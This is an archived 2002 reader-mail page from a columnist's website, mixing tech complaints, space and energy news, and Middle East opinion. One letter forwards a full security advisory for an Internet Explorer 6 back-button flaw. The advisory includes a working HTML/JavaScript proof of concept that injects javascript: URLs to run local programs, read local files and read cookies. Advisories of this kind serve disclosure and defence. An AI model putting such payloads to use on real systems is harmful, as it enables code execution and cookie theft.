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Friday, April 19, 2002

I will see what I can do about reconstructing mail and adding new. There may be some repetitions. Sorry. Doing what I can. Dancing as fast as I can.

Why are the words "BILL GATES" in the middle of your homepage? (And, no, this isn't some "You're just a flack for MS" hatemail--I think, as you do, that MS isn't the Evil Empire, but they are mighty blind to some major problems.) I just thought it odd to have the name, with no indication as to why. Especially right next to Mr. Knight's RIP. Just odd.

And I think my subscription has expired, and I probably haven't updated my drift from @Home.

My email's now klangill@cox.net (used to be klangill@home.com).

What's your preferred method of re-upping?

-k === Keith C. Langill

At the time, the main news on View was Gates and his speech which I was covering more or less live. I was, after all, at WinHEC. I forget that not everyone sees everything every day...  Apologies.

PayPals works nicely for subscriptions. Or anything else.

Dear Dr. Pournelle:

After reading about your comments on WiFi, I thought that perhaps this might be of interest. http://www.infoworld.com/articles/op/xml/02/04/15/020415opwireless.xml The basic premise is that the 2.4 GHz spectrum is the same spectrum used by the same magantrons used in microwave ovens and increasingly in other applications. Perhaps someone was heating a cup of coffee when the network went down?

After hearing about Damon Knight passing away, I am glad to know that you are fine and fit. I had reason to go down to where you lived as a child. Its looks nothing like a residential area now sadly.

Rick Cartwright

Richard Cartwright

The problems with the WiFi net were mostly where the antennae had been placed. There wasn't much hardware engineering done on that. But where that net worked, it worked well.

Jerry,

Just a note on something that I think you especially might find interesting. I am currently working on a novel and tend to keep my files split into chunks of around 50-60 pages or so. I have kind of a micro Chaos manner setup here and I work on the novel on one of three machines, each of which boot into various operating systems. I was working on my novel on my XP machine (winXP pro and Office XP) and noticed that it was taking a very large time to save the file each time it autosaved the file. I then looked at my saved file size and it was at nearly one meg. I found this odd and checked. It was something that WordXP was doing. I'm not sure exactly what but when I told it to save using only features available in Work 2K or earlier the file size went back down to 233K.

I'm not sure what WordXP is doing, but it has done it twice now and it completely blows performance (on a fairly fast machine) out the door when it super-sizes my file. I tried turning off smart-tags, but that made only a small difference. This is a big deal for anyone who deals with even moderately large files. Quadrupling the size of files and killing their performance just isn't acceptable.

Just thought you might want to know and to see if you with your contacts in MS could maybe find out what is happening.

Thanks for your work,

Dave Bennett Ergoface Consulting

I don't use Office XP although I guess I had better install it and play with it in places.

From Roland on the "Back Button" exploit:

http://www.eg.bucknell.edu/~ekrout/IE_Hack.html 

-----

---..---..---..---..---..---..---..---..---..---..---..---..---- Title: Using the backbutton in IE is dangerous. Date: [2002-04-15] Software: At least Internet Explorer 6.0. Tested env: Windows 2000 pro, XP. Rating: Medium because user interaction is needed. Impact: Read cookies/local files and execute code (triggered when user hits the back button). Patch: None. Vendor: Microsoft contacted 12 Nov 2001, additional information given 25 Mar 2002. Workaround: Disable active scripting or never _ _ use the back button. o' \,=./ `o Author: Andreas Sandblad, sandblad@acc.umu.se (o o) ---=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo---

DESCRIPTION: ============ IE allows urls containing the javascript protocoll in the history list. Code injected in the url will operate in the same zone/domain as the last url viewed. The javascript url can be set to trigger when a user presses the backbutton.

The normal behaviour when a page fails to load is to press the backbutton. The error page shown by IE is operating in the local computer zone (res://C:\WINNT\System32\shdoclc.dll/dnserror.htm# on Win2000). Thus, we can execute code and read local files.

EXPLOIT: ======== The exploit works as follow: Press one of the links and then the back button.

Note: Exploit has only been tested on fully patched IE 6.0, with Win XP and Win2000 pro (assume other OS are also vulnerable). Winmine.exe and test.txt must exist.

--------------------------CUT HERE------------------------------- <html> <h1>Press link and then the backbutton to trigger script.</h1> <a href="javascript:execFile('file:///c:/winnt/system32/winmine.exe')"> Run Minesweeper (c:/winnt/system32/winmine.exe Win2000 pro)</a><br> <a href="javascript:execFile('file:///c:/windows/system32/winmine.exe')"> Run Minesweeper (c:/windows/system32/winmine.exe XP, ME etc...)</a><br> <a href="javascript:readFile('file:///c:/test.txt')"> Read c:\test.txt (needs to be created)</a><br> <a href="javascript:readCookie('http://www.google.com/')"> Read Google cookie</a>

<script> // badUrl = "http://www.nonexistingdomain.se"; // Use if not XP badUrl = "res:"; function execFile(file){ s = '<object classid=CLSID:11111111-1111-1111-1111-111111111111 '; s+= 'CODEBASE='+file+'></OBJECT>'; backBug(badUrl,s); } function readFile(file){ s = '<iframe name=i src='+file+' style=display:none onload='; s+= 'alert(i.document.body.innerText)></iframe>'; backBug(badUrl,s); } function readCookie(url){ s = '<script>alert(document.cookie);close();<"+"/script>'; backBug(url,s); } function backBug(url,payload){ len = history.length; page = document.location; s = "javascript:if (history.length!="+len+") {"; s+= "open('javascript:document.write(\""+payload+"\")')"; s+= ";history.back();} else '<script>location=\""+url s+= "\";document.title=\""+page+"\";<"+"/script>';"; location = s; } </script> </html> --------------------------CUT HERE-------------------------------

Disclaimer: =========== Andreas Sandblad is not responsible for the misuse of the information provided in this advisory. The opinions expressed are my own and not of any company. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this advisory. Any use of the information is at the user's own risk.

Feedback: ========= Please send suggestions and comments to: _ _ sandblad@acc.umu.se o' \,=./ `o (o o) ---=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo--- Andreas Sandblad, student in Engineering Physics at the University of Umea, Sweden. -/---/---/---/---/---/---/---/---/---/---/---/---/---/---/---/--

-----

-- ------------------------------------------------------------ Roland Dobbins <mordant@gothik.org> 

==

Peter MacEwen notes that Symantec no longer sells Norton Speed Disk. While they may no longer sell a stand-alone version of Speed Disk, it is still included as part of the Norton Utilities package--and is running nicely on my Win2K workstation and on my NT4 server (with hardware RAID 5).

To quote Symantec, "There are three different versions of Speed Disk (in the Norton Utilities 2002). One is for Windows 9x/Me, one is for Windows NT/2000, and the third is for Windows XP. The appropriate version is installed, depending upon your operating system."

Carroll Bloyd

Thanks

From: Stephen M. St. Onge saintonge@hotmail.com

Subject: Israel

Dear Jerry:

I agree with you about the need to separate the two sides, but I think we're missing the heart of the problem. In a real sense, Israel doesn't exist.

From the beginning, Israel has survived on handouts from the outside world -- and he who pays the piper calls the tune. Once more, Socialism kills!

So the real question is, what will we, the U.S.A., do about the Israel/Palestine problem? As far as I can see, delude ourselves that everyone's going to want to live happily together just as soon as someone says the magic words, or points out the whatever.

I don't see any way out of this.

Sadly, Stephen

P.S.: I'd like to recommend Robert B. Kaplan's WARRIOR POLITICS. Has some interesting and original things to say on the Republic vs. Empire question.

====

Howdy, Jerry. Thought you'd appreciate this Fortune article

http://www.fortune.com/indexw.jhtml?channel=artcol.jhtml&doc_id=207250 

Probably one of the strongest fulfillments of a prediction of yours that I've seen lately.

-- ------------------------------------------------------------------------------- Jonathan Abbey jonabbey@arlut.utexas.edu Applied Research Laboratories The University of Texas at Austin Ganymede, a GPL'ed metadirectory for UNIX http://www.arlut.utexas.edu/gash2

====

Hydrogen Wells?

In regards to a hydrogen power economy, you have in the past spoken (quite reasonably) about the lack of hydrogen wells.

This article, about a recent geologic discovery, indicates that there might be some opportunities in that area.

http://www.canada.com/vancouver/
vancouversun/story.asp?id=%7B1F54AEED
-A34B-411B-B95F-972AB119DD85%7D

I'm not selling my Ford Escort yet, but if this is true it is certainly an interesting development.

David Reynolds

Fascinating if true. Thanks!

And Roland says 

Dot NET in action:

http://www.govtalk.gov.uk/interoperability/egif.asp 

but I haven't had time to read it.

(From a posting on nlzero.com - *not* a website but a subscription text-conferencing system - telnet nlzero.com to get there or browse www.nlzero.com for more info.)

[> space/news #1172 hvanderbilt 882 18Apr02 14:33 O=0 N=0 C=0 TITLE: Sean O'Keefe, NASA Administrator, is saying in a venue he has to know is going to cause the story to get out, that SLI as currently conceived is dead meat - that it is going to be recast with genuine commercial and DOD input, that it will involve orbital flight demonstrators, and that nothing will go on the "2nd generation RLV" that hasn't been flight tested.

He's floated trial balloons to this general effect before, but this is considerably more specific than he's been in the past.

Now, keep in mind that just because the Administrator gives an order doesn't mean the Field Centers follow it. This will, I predict, become a political dogfight, with MSFC and JSC rallying their local congressional delegations to try to bring O'Keefe to heel.

The key question is, will O'Keefe get White House backing on this. Given DOD's unhappiness with SLI as-is, he just might.

Henry Vanderbilt

======

I recently (a month ago) let you know that I also had problems with the Radeon 8500 and Everquest, although not the same ones as you. I did not play Everquest for a while and during that time I had to re-install WinXP, and obviously took the latest drivers for the Radeon 8500. I copied the Everquest folder from another machine with a Radeon All-In-Wonder (luckily Everquest only needs its own folder; copying over the network is much faster than re-installing). And to my surprise, I have no more problems. Everquest also doesn't tell me about the driver version anymore. I can't pinpoint the solution (Latest ATI driver, Everquest update, re-install of XP, copying a different install of Everquest, new RAID in that computer), but I can now say that the Radeon 8500 works perfectly well with WinXP and Everquest (at least on my Athlon system with enough memory to enable all the new 3D engine features). I didn't tweak any settings of the Radeon either, they are all at their default (except for resolution of course).

Just thought I'd let you know.

Yves Paradis

Now if I can figure out what you did and how to make it happen...

"Lesson one: Never make enemies with someone who creates PowerPoint presentations for a living."

http://seattletimes.nwsource.com/text/134438214_badhotel18.html 

regards, & thanks for bringing the sunshine up here!

Jim Whitlock

Well I didn't see much sunshine, but you're welcome...

 

 

 

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Saturday, April 20, 2002   

I actually detest mail that comes like this and I usually don't post it: it's an easy way to make someone look a fool, including snippets of a paragraph and adding comments. That's not the motive here or often, but it does often have that result. I'll do it here for this one but it's not my standard policy.

Dr P;

“Imagine that Israel draws a boundary, and expels all the Palestinians from within it;”

I do believe that is what Sharon has in mind, a progrom similar to what his ancestors went through in Europe.

we hope with compensation.

Not a chance.

What's outside is now Palestine.

According to what I know about the original British partition of the region, wasn’t the nation now known as Jordon supposed to be home for the Palestinians? I fear it is going to get a lot worse over there before it gets any better, and I am speaking in terms of generations. The anger on both side is far too entrenched.

Robert Grenadier

Once again I decline to go into history as the basis for who owns what in that area. As to anger entrenched, the only ways I know to deal with that are extermination of one side, and physical separation of the two parties. Israel has the power to physically separate the parties. No one who can will prevent their doing that.

FLAME and other strong Israeli partisans do think the line ought to be at the Jordan River. Since Jordan doesn't even want Palestine to have a common border with Jordan -- the Jordanians are as afraid of the Palestinians as are the Israelis and for much the same reasons -- this would be difficult and very expensive, and would cause the collapse of the only stable and progressing government in the region. I know that the Israeli government is under enormous pressure to put the line at the river, but I think that will not happen.

My scenario, of turning Palestine into a Near East Hong Kong, won't happen of course. There are too many kleptomaniacs posing as "leaders" for Palestine to have anything like rule of law and honest cheap government. Yet the Hong Kong example should be ever present when thinking about the area...

Jerry,

I would strongly dispute with Mr. St. Onge that "in a real sense, Israel doesn't exist." They may find US aid useful, but the most useful material thing they get from us these days are spare parts & such. I am sure they have their own munition plants working now, and it is truly amazing how imaginative people can be in the middle of a war. I suggest that he walk up to a Mirkava and tell the crew that their country doesn't really exist. Didn't Doctor Johnson & Bishop Berkely have this conversation once before?...

On a different note: I am surprised to see that no one has, that I've seen, raised the root of the matter. Well, Joel Rosenberg touched on it, but did not explore it.

You have raised a particular point several times (I believe in your "There Will Be War" series, and I know in your Sparta novels) that no insurgent organization has won a war without a sanctuary.

In this case the sanctuary is social & financial. There certainly will be Palestinian kamikaze bombers as long as countries like Iraq and Saudi Arabia continue to praise the "martyrs" and bankroll their operations. It is, I believe, very much a situation of "let's you & him fight!"...

So, I think, we need to ask these countries "Who scares you more? Your radical co-religionists, or the Army of the West?"

Casey Tompkins

I don't disagree. Israel can do all right without us. I am not sure what it does for us to prop up their socialist government schemes, but they certainly do not rely on US government payments to keep their military up.

No guerrilla effort has ever been successful without sanctuary areas and support of great powers. The single exception is Haiti. The intifada was nearly so: had they grabbed what was offered at Camp David it would have been more than they ever could have got from armed might. But they didn't, and I do not think that offer will ever again be made.


Hi Jerry,

.net does not work properly with Encarta Online 2002 Deluxe either. I have registered my copy of Encarta Online Deluxe. I have told it to remember my password every time I log on but it never does. I didn't have this problem with Encarta Online 2001 Deluxe.

Then I tried to update the installed Encarta 2002 Deluxe. It forced me to register all over again. Filled in the information and got a scripting error. I continued and got to a page where I could Sign In or Sign Up. The Sign In button was totally non-functional. Then I went back to the main page and was able to update.

Now I can't get the Encarta Online 2002 Deluxe page to come up. It might be server overload, I don't know. Microsoft's sites have been hit and miss lately.

Is this the one degree of separation Microsoft advertises? Does Microsoft wants me to use .net for online commerce? I don't think so.

Diskeeper does work with Windows NT, every other version of Windows and every type of Windows file system. My first version was purchased for Windows NT. In fact, Executive Software distributed a free version of Diskeeper for NT for years. It takes no more than a few minutes for all but the largest and most fragmented disks.

Best regards, Robert Rutter

I have no quarrel with Diskeeper, which is a good program. I do have my doubts that .NET is ready for prime time.

Dan Spisak:

Jerry,

Looks like NASA might have found us a great source for an unbelievable amount of hydrogen! Now they just have to work out the details I guess (it always seems to come to that these days):

http://www.canada.com/vancouver/vancouversun/
story.asp?id=%7B1F54AEED-A34B-411B-B95F-972AB119DD85%7D
 

-Dan S.

The moral of the story is that good research always pays off, although you will not necessarily be able to predict how. I need to keep track of this story: it could be very important.

Jerry - you could certainly solve one of the problems that you describe in your column regarding having to switch your main internet connection from Dialup to Satellite and back again in a different way. Rather than changing your NAT box to use a completely different connection each time, you could set yourself up with multiple inside addresses which use your various upstream connection alternatives. Then - changing from your dialup to DirectPC and back would be as simple as switching your default gateway on the client machine when you want to switch back and forth. You could even set up static routes [even on teh NAT box itself] so that certain destinations (such as Everquest's servers) could automatically go over alternate gateways (such as your dialup account) according to rules thatt you specify.

- Z

First, there are a LOT of client machines, and the concept of a Big Red Switch is still appealing to me. It's all supposed to be temporary and I'll have real DSL or Cable Modem Real Soon Now...

Friendly Fire Isn't:

Well, I just watched the homecoming of four brave Canadian soldiers. I was not pleased to see the boxes draped with the Maple Leaf. I was even less pleased by the lack of American public reaction to the whole thing; had the situation been reversed (a CF-18 attacking a US unit), it'd be all over CNN. At least the local US combat troops are supportive.

Anyway, at least an investigation will be conducted. We don't want to assign blame, we just want such incidents to become rare or inexistant.

Your readers can leave your messages of moral support to the troops at the following Web site:

http://www.dnd.ca

--- Marc A. Vezina DP9 --> mavezina@dp9.com Visit our Web site! --> http://www.dp9.com

My personal sympathies, and I do understand that the President called the instant he heard. Which is not consolation, but there's little more he could do.

War is Hell.

And from Joel Rosenberg:

Casey Tomkins writes:

Jerry,

On a different note: I am surprised to see that no one has, that I've seen, raised the root of the matter. Well, Joel Rosenberg touched on it, but did not explore it.

Casey Tompkins

----------------------------------

As Deep Throat used to say, "follow the money."

The bulk of money for, among other things, Al Quaida, the Taliban, the Pakistani madrassas, the PLO, the shaheed family bonuses, etc. . . . has come from Saudi Arabia. It's generally believed that Bin Laden himself is an outcast Saudi, disavowed even by his family . . . but how much of an outcast? Some of the silence is deafening -- where is, say, the billion-dinar Saudi reward for Bin Laden's capture and delivery to US authorities?

As to the family, we also don't know -- although we do know that cell phone calls between Binny and his mother have been intercepted, and we do know that the first thing that the Saudi government did on September 11th was to arrange to have all the Bin Laden relatives spirited out of the US. We also know that the construction company chosen to rebuild the Khobar Towers after Bin Laden's attack was, interestingly enough, the Bin Laden family construction company, and they didn't do it for free, either.

Or follow the bodies: of the Black Tuesday hijackers, fifteen were Saudi nationals, including the leadership of the various teams.

It's a little bit of poetic license to say that the Mecca of Islamofascist terrorism is, well, Mecca -- it's actually Riyad. When the US finally strikes for the heart of Islamic terrorism, the target will be Saudi Arabia. If the US is in a position to credibly do that in an instant, it may -- may -- not be necessary.

I don't think the Bush administration is staffed, or headed, by morons who are incapable of noticing this, or considering the implications. Nobody in the Administration has even floated a trial balloon on the subject, though, and I'll not belabor the obvious reasons as to why.

But . . . Iraq is next. My strong guess is that by the end of the year, we'll have cracked Baghdad, and there's some interesting indications down Qatar way even now. The schedule could easily be thrown off if the US accepts the notion -- as the Administration *appears* to -- that continuing unrest in Judea and Samaria makes Iraq II impossible, as that makes continuing the unrest in the interest of not only Saddam, but of the Saudis.

Consider: the Saudis have, on their border, a (relatively) overwhelminlgy militarily-powerful state, with manifest longterm-at-most designs on Saudi Arabia, and from which they've had to be rescued by both implicit and explicit threats, as well as Desert Shield and Desert Storm.

But, yet, they're unshakably against an attack on that state. Why? Arab solidarity? Please.

The answer is that the Saudis know well where the center of the West's problem is, and other than in absolute desperation, don't want sufficient US forces to crack that problem within range, and have done everything that they can -- and have enlisted their Islamofascist supporters in the rest of the Arab League -- to try to change the subject. (The latest "peace plan" being just one example.)

Saudi acquiescence in Iraq II will never happen, no matter what goes on elsewhere.

Stage one on the War Against Terror was/is Afghanistan. It disabled much of Al Quaida (although not, by any means all of it), and ended the Taliban government, and is instructive as to how the US will treat terrorists who strike in sufficient force on US soil -- do note that the Iraqis were given a bye on the first WTC attack. Afghanistan is quickly become a collection of ethnic enclaves with a weak central government; we don't have to occupy the country, and we're not going to.

Stage two is Iraq. Yes, there's the weapons of mass destruction issue -- and it's not a trivial one, and it's one of the things that drives the timetable. Saddam will have nuclear weapons if he's not stopped. When? I dunno -- but as soon as he possibly can. (Imagine how different Desert Storm would have been if the IAF had not destroyed the Osirak project.)

Iraq will be a tougher nut to crack than Afghanistan was -- despite the "brutal Afghani winter" -- because there isn't an indigenous equivalent of the Northern Alliance to both act as beaters and as poorly-disciplined jannissaries. The oil fields will be secured first by an amphibious invasion -- officially and partly to prevent a repeat of the Kuwaiti oil fires at the end of Iraq I -- and then on to Baghdad, probably from both North and South.

Which will be messy, and bloody. I'm assuming -- and hoping -- that the US won't try base the operation around infantry, as the IDF has in Defensive Wall. The infantry will be used as spotters, and to flush out the resistance -- which probably won't collapse as quickly as Arab armies usually do, for a variety of reasons -- and the matter will be settled by air bombardment and artillery.

And, I think necessarily, the next step is Occupation. There isn't an indigenous regime waiting to be put into place, or a professional class without strong ties to the regime, and deSaddamization can't be left to the UN. Denazification in Europe would have been a horrible failure if it weren't for both the specter of the Soviets and the presence of the US Occupation forces, under Clay. DeSaddamization doesn't have a similar specter to hold out as the alternative.

So we're stuck with Occupation. Which leaves a large US force in Iraq indefinitely, and an obvious way to pay for it (which will piss off a lot of folks).

That's the bad news. The good news is that it leaves the US Army within striking distance of Saudia Arabia, and -- within about two weeks after US forces now doing maintenance at the Saudi bases leave -- a Saudi Army that could be broken by an armored division, losing more tanks to sand than to enemy fire.

And what then?

Then, I think, one of two things happen. Either a miraculous revelation occurs to the Wahabbi regime -- "You know, the Wahabbization of the entire world is the sort of thing that needs to be prayed for, not financed, and certainly not be encouraging terrorism -- and we'd best behead some of these heretical mullahs who have preached otherwise, and what do you mean we were supporting them?" -- or, sooner than later, we have to crack that nut.

I need to think on this. I do not want US armies of occupation in Iraq. I'd rather have simple chaos there...

 

 

 

 

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read book now

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I took the day off. Opera stuff and relatives in town.

 

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